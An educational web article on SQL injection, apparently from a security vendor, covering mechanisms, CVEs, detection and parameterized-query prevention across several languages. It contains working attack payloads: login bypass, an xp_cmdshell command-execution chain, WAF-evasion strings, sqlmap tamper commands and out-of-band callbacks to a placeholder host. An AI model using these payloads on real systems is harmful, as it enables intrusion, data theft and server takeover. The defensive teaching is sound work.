SQL Injection

What is SQL Injection?#

SQL injection (SQLi) is a web security vulnerability where user-controlled data is concatenated into SQL queries without parameterization, causing the database engine to parse attacker-supplied SQL syntax as part of the legitimate query structure (CWE-89: Improper Neutralization of Special Elements used in an SQL Command). The database has no mechanism to distinguish between developer-intended SQL and attacker-injected payload — it executes both.

This is categorically distinct from NoSQL injection (CWE-943), which targets document stores via operator injection ($ne, $where), from command injection (CWE-78), which targets OS shells, and from code injection (CWE-94), which targets application-layer interpreters. SQLi is bounded to the SQL database layer — except when the database itself provides OS bridges: MSSQL's xp_cmdshell, PostgreSQL's COPY TO PROGRAM, and MySQL's INTO OUTFILE each convert SQL injection into OS command execution.

OWASP places Injection at A03:2021 in the current Top 10, with CWE-89 mapping to 14,000+ CVEs in NVD. CWE-89 ranked #3 on MITRE/CISA's CWE Top 25 Most Dangerous Weaknesses (2024). The 2024 Verizon DBIR attributed 26% of all data breaches partly to web application attacks where SQLi is the primary vector. Aikido Security's 2024 scan of open-source packages found SQLi in 6.7% of all packages — organizations average 30 injectable code paths per codebase.

Mechanism#

The root cause is string building. When application code constructs a query by concatenating user input — via +, f"", template literals, or sprintf — the database parser receives a single string it tokenizes as SQL. An injected single quote terminates the intended string literal and allows the attacker to append arbitrary SQL tokens.

The attack proceeds in five steps:

1. The application receives user input intended as a data value (an ID, a search term, a username).
2. Application code concatenates the input into a SQL string: "SELECT * FROM users WHERE id='" + user_id + "'".
3. The resulting string is sent to the database driver: cursor.execute(query).
4. The database parser tokenizes the full string as SQL, including the injected payload.
5. Results appear in the HTTP response (in-band), are inferred via side channels (blind), or are exfiltrated via outbound connections (OOB).

A minimal example — a login form vulnerable to authentication bypass:

POST /login HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/x-www-form-urlencoded
 
username=admin'--&password=anything

-- Query constructed by the application:
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- The -- comments out the password check; login succeeds without the correct password

Attack Variants#

Union-based is the most direct data extraction path but requires knowing the column count and having at least one string-compatible column reflected in the response. The standard enumeration: ORDER BY N-- incremented until error, then UNION SELECT NULL,NULL,...-- to confirm, then replace NULLs with 'a' to find string-compatible columns.

Stacked queries are DBMS-dependent. MSSQL and PostgreSQL support multi-statement execution natively. MySQL requires the PDO multi_statements flag. Oracle does not support stacked queries. The primary RCE chain on MSSQL:

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
'; EXEC xp_cmdshell 'whoami';--

Second-order injection stores the payload at one endpoint and executes it when another endpoint retrieves the stored value into a new unsanitized query. Standard DAST scanners miss this because no error, timing difference, or response change occurs at the injection point. A user registers as admin'--; the application stores the value. When an admin reset script runs UPDATE accounts SET password='$new' WHERE username='admin'--', the trailing -- comments out the WHERE clause suffix, resetting the real admin password instead.

Database Engine Differences#

Understanding DBMS-specific syntax is required for manual exploitation and tamper script selection. This table is the reference for "sql injection cheat sheet" queries — the most-searched SQLi long-tail keyword.

Oracle's FROM DUAL requirement catches many payloads written for other databases: ' UNION SELECT NULL,banner,NULL FROM v$version WHERE rownum=1-- is Oracle-specific. MySQL's # comment style and DISTINCTROW keyword (UNION DISTINCTROW SELECT) bypass simple regex filters that block UNION SELECT.

ORM Escape Hatches#

ORMs do not provide universal protection. Every major ORM exposes escape hatch functions that bypass parameterization entirely — and these are where CVEs concentrate in 2024-2025.

Prisma ($queryRawUnsafe)

// VULNERABLE — string interpolation bypasses all ORM protection
const users = await prisma.$queryRawUnsafe(
  `SELECT * FROM "User" WHERE email = '${untrustedInput}'`
);
 
// SAFE — tagged template literal auto-parameterizes
const users = await prisma.$queryRaw`SELECT * FROM "User" WHERE email = ${untrustedInput}`;

SQLAlchemy (text() with f-strings)

# VULNERABLE — f-string inside text() defeats parameterization
result = db.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
 
# SAFE — named bound parameters
result = db.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})

Django (raw(), extra(), filter(**user_dict))

# VULNERABLE — f-string in raw()
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
 
# SAFE — positional parameter
User.objects.raw("SELECT * FROM users WHERE name = %s", [name])
 
# VULNERABLE — CVE-2025-64459 pattern: unvalidated dict expansion
results = MyModel.objects.filter(**user_supplied_dict)
# malicious dict: {"username": "admin", "_connector": "OR"}
# reshapes the Q() tree, injecting SQL into WHERE clause
 
# SAFE — only allow known field names
ALLOWED_FIELDS = {"username", "email"}
safe_dict = {k: v for k, v in user_dict.items() if k in ALLOWED_FIELDS}
results = MyModel.objects.filter(**safe_dict)

Sequelize (query() with interpolation)

// VULNERABLE — template literal
await sequelize.query(`SELECT * FROM users WHERE id = ${userId}`);
 
// SAFE — replacements
await sequelize.query("SELECT * FROM users WHERE id = ?", {
  replacements: [userId],
  type: QueryTypes.SELECT,
});
 
// VULNERABLE — CVE-2023-25813 pattern (Sequelize < 6.19.1)
// Combining replacements + where options caused injection
await sequelize.query("SELECT * FROM users WHERE lastName = :lastName", {
  replacements: { lastName },
  where: { ... }  // DO NOT combine these options
});

Hibernate (createQuery() with concatenation)

// VULNERABLE — HQL string concatenation (CVE-2020-25638 pattern)
session.createQuery("FROM User WHERE name = '" + input + "'").list();
 
// SAFE — named parameter
session.createQuery("FROM User WHERE name = :name")
       .setParameter("name", input)
       .list();

WAF Bypass Techniques#

WAFs are a detection layer, not a prevention layer. A WAF that blocks known payloads provides no protection against the following techniques.

JSON operator injection (PostgreSQL, MySQL, SQLite)

-- PostgreSQL: WAF sees JSON containment operator, DB executes SQL context
'{"b":2}'::jsonb <@ '{"a":1, "b":2}'::jsonb
 
-- MySQL: JSON_EXTRACT wraps the injection point
OR JSON_LENGTH('{}') <= 8896 UNION SELECT @@version--
 
-- MySQL DISTINCTROW (bypasses UNION SELECT regex)
UNION DISTINCTROW SELECT 1,version(),3--

Comment injection and keyword fragmentation

UN/**/ION SEL/**/ECT         -- comment breaks keyword
UNI%0bON SEL%0bECT           -- vertical tab (0x0B) as space substitute
%55nion %53elect              -- URL-encoded first character
UNIUNIONON SELSELECTECT       -- keyword nesting (WAF strips once, remainder valid)
/*!UNION*/ /*!SELECT*/        -- MySQL conditional comment (only executes on MySQL)

Encoding and case variation

UnIoN SeLeCt                  -- case mixing defeats case-sensitive filters
%2527 → %27 → '               -- double URL encoding
ʼ  (U+02BC)                   -- Unicode lookalike normalizes to apostrophe
ＳＥＬＥＣＴ (fullwidth)           -- NFKC normalization → SELECT

sqlmap tamper scripts by WAF vendor

Real-World CVEs and Incidents#

CVE-2024-43468 — Microsoft SCCM (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

The getMachineID and getContentID functions in the SCCM MP_Location service concatenate user input directly into SQL queries. An unauthenticated HTTP request triggers the injection, which enables xp_cmdshell activation and full RCE on the SCCM server in the high-privilege machine account context. Synacktiv published a public PoC on 2024-11-26. CISA added it to the KEV catalog on 2026-02-12 with a federal patch deadline of 2026-03-05.

CVE-2025-25257 — Fortinet FortiWeb (active exploitation confirmed July 2025)

Pre-auth SQL injection in get_fabric_user_by_token() via the Authorization: Bearer header. The endpoint /api/fabric/device/status accepts Bearer AAAAAA'or'1'='1 and returns 200 OK with device information instead of 401 Unauthorized. The full impact chain: auth bypass → MySQL INTO OUTFILE → Python .pth site-packages hijack → pre-auth RCE as root. WatchTowr Labs published the full chain analysis.

CVE-2025-1094 — PostgreSQL libpq quoting (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

Reported by Stephen Fewer at Rapid7. The PostgreSQL PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() functions fail to neutralize injection when input contains characters that fail encoding validation. A client_encoding=BIG5 combined with server_encoding=EUC_TW collapses the escape sequence, making code that calls PostgreSQL's own "safe" quoting APIs still injectable.

HackerOne disclosures: HackerOne #383127 — Valve Steam, report_xml.php array parameter injection, $25,000 bounty. HackerOne #868436 — Mail.ru city-mobil.ru, time-based blind via standard parameter, $15,000. HackerOne #2646493 — Internet Bug Bounty, Django CVE-2024-42005 ORM injection without any raw SQL. HackerOne #435066 — SQL injection in HackerOne's own /graphql endpoint via embedded_submission_form_uuid.

Notable breaches: Heartland Payment Systems (2008, 130 million credit/debit cards via SQL injection in payment processing). MOVEit Transfer (2023, CVE-2023-34362, zero-day SQLi affecting 2,600+ organizations including the BBC, Aon, and multiple US federal agencies). Equifax (2017, 143 million SSNs — the Apache Struts CVE involved SQLi-style input handling flaws).

Detection#

Manual Testing#

1. Identify all input vectors that reach SQL query construction: URL parameters, POST body fields, JSON properties, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie), GraphQL arguments, gRPC fields.
2. Submit a single quote ' in each parameter. Observe: database error messages (MySQL syntax error, ORA-00933, pg_exception), response size changes, HTTP 500 responses.
3. Send AND 1=1-- (expect baseline response) vs AND 1=2-- (expect altered response). A boolean differential with ≥10% body similarity delta is a strong signal.
4. Test time-based with proportional validation: inject AND SLEEP(2)-- and measure delta T1; inject AND SLEEP(5)-- and measure delta T2. Genuine injection produces T2/T1 ≈ 2.5. A single spike without scaling is network jitter, not injection.
5. For OOB confirmation: inject '; EXEC master..xp_dirtree '//YOUR.oastify.com/a'-- (MSSQL) or '; SELECT pg_sleep(0) FROM COPY (SELECT '') TO PROGRAM 'nslookup YOUR.oastify.com'-- (PostgreSQL). Monitor Burp Collaborator or Interactsh for DNS callbacks.
6. Test ORDER BY parameters — approximately 15% of HackerOne SQLi disclosures involve sort/order parameters that developers assume are safe: ?sort=1; WAITFOR DELAY '0:0:5'--.

Automated Detection#

sqlmap (current DAST standard) with a two-pass strategy:

# Probe pass (30 seconds) — establish DBMS and technique
sqlmap -u "https://target.com/search?q=test" \
  --technique=BEUST --level=2 --risk=1 \
  --batch --timeout=1 --dbms=auto
 
# Deep pass (90–180 seconds) — after PROBABLE confirmed
sqlmap -u "https://target.com/search?q=test" \
  --technique=BEUST --level=3 --risk=2 \
  --batch --timeout=3 --time-sec=10
 
# WAF bypass — Cloudflare
sqlmap -u "https://target.com/search?q=test" \
  --tamper=charencode,randomcase,between,greatest \
  --random-agent --delay=0.5
 
# Second-order injection
sqlmap -u "https://target.com/store" --data="field=*" \
  --second-url="https://target.com/trigger" \
  --technique=BEUST --level=2

Semgrep SAST (semgrep --config p/sql-injection) detects string concatenation into query calls in Python, Java, JavaScript/TypeScript, PHP, Go, and Ruby at CI/CD time — before deployment.

CodeQL builds a full data-flow graph and traces tainted HTTP input across function calls to SQL execution sinks. Run Semgrep on every PR and CodeQL nightly for complementary coverage.

DAST vs. SAST trade-off: SAST catches 100% of the codebase including dead code but generates false positives from missing context. DAST covers only reachable endpoints but produces low false positives with proof-based confirmation. IAST (runtime instrumentation) bridges both. CISA's March 2024 Secure by Design Alert calls for eliminating SQLi at the language/framework level, not just detecting it post-deployment.

BreachVex detects SQL injection through multiple complementary techniques: single-quote and error-keyword probing, boolean true/false differential analysis, proportional time-delay validation, and out-of-band DNS callback confirmation — every finding is escalated to a working proof of exploitation.

Prevention#

Python (psycopg2 / SQLAlchemy)#

import psycopg2
from sqlalchemy import text
 
# VULNERABLE — string concatenation
cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
 
# SAFE — parameterized (psycopg2)
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
 
# SAFE — SQLAlchemy ORM
user = session.query(User).filter(User.username == username).first()
 
# VULNERABLE — text() with f-string
result = db.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
 
# SAFE — text() with bound parameter
result = db.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})

Node.js (pg / Sequelize / Prisma)#

// VULNERABLE — template literal
await client.query(`SELECT * FROM users WHERE username = '${username}'`);
 
// SAFE — pg parameterized
const result = await client.query(
  "SELECT * FROM users WHERE username = $1",
  [username]
);
 
// SAFE — Sequelize ORM
const user = await User.findOne({ where: { username } });
 
// VULNERABLE — Sequelize raw
await sequelize.query(`SELECT * FROM users WHERE id = ${userId}`);
 
// SAFE — Sequelize replacements
await sequelize.query("SELECT * FROM users WHERE id = ?", {
  replacements: [userId],
  type: QueryTypes.SELECT,
});
 
// SAFE — Prisma tagged template (NOT $queryRawUnsafe)
const users = await prisma.$queryRaw`SELECT * FROM "User" WHERE email = ${email}`;

Java (PreparedStatement / Hibernate)#

// VULNERABLE — string concatenation
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
 
// SAFE — PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ?"
);
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();
 
// SAFE — JPA named parameter
@Query("SELECT u FROM User u WHERE u.username = :username")
User findByUsername(@Param("username") String username);
 
// SAFE — Hibernate named parameter
session.createQuery("FROM User WHERE name = :name")
       .setParameter("name", input).list();

PHP (PDO / MySQLi)#

// VULNERABLE — string interpolation
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
 
// SAFE — PDO prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
 
// SAFE — MySQLi prepared statement
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();

Go (database/sql)#

// VULNERABLE — string formatting
query := fmt.Sprintf("SELECT * FROM users WHERE username = '%s'", username)
rows, err := db.Query(query)
 
// SAFE — parameterized
rows, err := db.Query("SELECT * FROM users WHERE username = $1", username)

Ruby (Rails ActiveRecord)#

# VULNERABLE — string interpolation
User.where("username = '#{params[:username]}'")
 
# SAFE — parameterized
User.where("username = ?", params[:username])
User.where(username: params[:username])  # hash syntax, always safe

.NET (ADO.NET / Entity Framework)#

// VULNERABLE — string concatenation
string query = "SELECT * FROM Users WHERE Username = '" + username + "'";
SqlCommand cmd = new SqlCommand(query, conn);
 
// SAFE — SqlCommand parameters
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM Users WHERE Username = @username", conn);
cmd.Parameters.AddWithValue("@username", username);
 
// SAFE — EF Core LINQ (auto-parameterized)
var user = context.Users.Where(u => u.Username == username).FirstOrDefault();
 
// VULNERABLE — EF raw SQL with interpolation
var user = context.Users.FromSqlRaw($"SELECT * FROM Users WHERE Username = '{username}'");
 
// SAFE — EF raw SQL with parameter
var user = context.Users.FromSqlRaw(
    "SELECT * FROM Users WHERE Username = {0}", username);

Defense in Depth#

Least privilege DB accounts: separate database users per application function — login page gets SELECT on the users table only; signup gets INSERT; never grant DBA, SUPER, FILE, or EXECUTE ON xp_cmdshell. An attacker who achieves SQLi against a db_owner account has full database control; against a minimal SELECT-only account, impact is read-only.

Stored procedures with caveats: stored procedures provide equal protection only when they do not use dynamic SQL internally. An Oracle procedure using EXECUTE IMMEDIATE 'SELECT * FROM users WHERE name = ''' || p_name || '''' is just as vulnerable as application-layer concatenation. Use bind variables: EXECUTE IMMEDIATE 'SELECT * FROM users WHERE name = :name' USING p_name.

Database Activity Monitoring (DAM): runtime detection layer — alert on queries containing UNION, SLEEP, WAITFOR, xp_cmdshell, or bulk extraction patterns (>N rows from sensitive tables). PostgreSQL pgaudit, Oracle Unified Auditing, and MSSQL Server Audit provide database-level logs that WAFs cannot see.

Why "Input Sanitization for SQL" is Dead#

Frequently Asked Questions#

What is SQL injection? SQL injection (SQLi, CWE-89) is a vulnerability where user-supplied input is concatenated into SQL queries without parameterization, causing the database to execute attacker-controlled payload as part of the query structure. Impact ranges from data disclosure and authentication bypass to full database takeover and OS-level RCE.

What is the difference between SQL injection and NoSQL injection? SQL injection (CWE-89) targets relational databases via SQL syntax injection. NoSQL injection (CWE-943) targets document stores like MongoDB by injecting query operators ($ne, $gt, $where) into JSON query objects. Different payloads, different prevention APIs — both bypass authentication and exfiltrate data.

What is second-order (stored) SQL injection? Second-order injection stores a payload in one endpoint and executes it when another endpoint retrieves the stored value into a new unsanitized query. Standard scanners miss this because the injection point and execution point are different requests. Use sqlmap --second-url or manual code tracing.

Can SQL injection lead to remote code execution? Yes. MSSQL: xp_cmdshell activation via stacked queries yields full OS RCE. PostgreSQL: COPY TO PROGRAM executes shell commands. MySQL: INTO OUTFILE writes webshells to disk. CVE-2025-25257 (FortiWeb) demonstrated the full chain: pre-auth SQLi → RCE as root.

Does using an ORM protect against SQL injection? Partially. ORM query builder methods are safe by default. Escape hatches bypass all protection: Prisma $queryRawUnsafe, SQLAlchemy text() with f-strings, Django raw(), extra(), and filter(**unvalidated_dict) (CVE-2025-64459). Audit every raw query call in your codebase.

Are prepared statements enough to prevent SQL injection? In most cases, yes. Two edge cases remain: identifiers cannot be parameterized (use allow-lists); some drivers have implementation bugs (CVE-2024-1597: PostgreSQL JDBC preferQueryMode=SIMPLE silently falls back to literal queries, CVSS 10.0).

What is a WAF JSON bypass for SQL injection? Team82/Claroty (2022) discovered that five major WAF vendors did not inspect JSON-formatted SQL payloads. All patched after coordinated disclosure. Older deployments remain exposed. WAFs are a detection layer — they cannot replace parameterized queries.

What percentage of data breaches involve SQL injection? The 2024 Verizon DBIR: 26% of all data breaches. CWE-89 ranks #3 on MITRE/CISA CWE Top 25 (2024). 4 SQLi CVEs added to CISA KEV in 2024. Aikido Security: 6.7% of scanned open-source packages contain SQLi.

What is CVE-2025-1094? CVSS 8.1. PostgreSQL 13–17 libpq quoting functions (PQescapeLiteral, PQescapeString) fail to neutralize injection when a specific multi-byte encoding combination (BIG5 + EUC_TW) collapses the escape sequence. Reported by Stephen Fewer at Rapid7, published February 2025.

How do I detect SQL injection? Manual: single quote test, boolean differential (AND 1=1 vs AND 1=2), proportional time delay (SLEEP(2) vs SLEEP(5), ratio ≈ 2.5). Automated: sqlmap for DAST, Semgrep p/sql-injection for SAST, Burp Suite Pro with Collaborator for OOB blind variants.

What is the sql injection cheat sheet for different databases? MySQL: SLEEP(N), EXTRACTVALUE, # comment. PostgreSQL: pg_sleep(N), CAST AS int. MSSQL: WAITFOR DELAY '0:0:N', CONVERT(int,x). Oracle: dbms_pipe.receive_message, FROM DUAL required. SQLite: randomblob(N) CPU delay. See the Database Engine Differences table above.

Should I use input sanitization or parameterized queries? Parameterized queries. OWASP classifies escaping as "strongly discouraged." Encoding attacks (CVE-2025-1094), second-order injection, and identifier injection cannot be addressed by escaping. Parameterized queries separate code and data at the protocol level — the only defense that holds universally.

What are the most famous SQL injection attacks? Heartland Payment Systems (2008, 130 million cards). MOVEit Transfer (2023, 2,600+ organizations, CISA KEV). Equifax (2017, 143 million SSNs). Sony PSN (2011, 77 million users). These breaches collectively affected over 500 million individuals and resulted in billions in regulatory fines and remediation costs.

Resources#

• Score this vulnerability with our free CVSS v4.0 calculator
• OWASP SQL Injection Prevention Cheat Sheet
• PortSwigger Web Security Academy — SQL Injection
• CISA KEV — SQL Injection CVEs
• Claroty Team82 — JSON WAF Bypass Research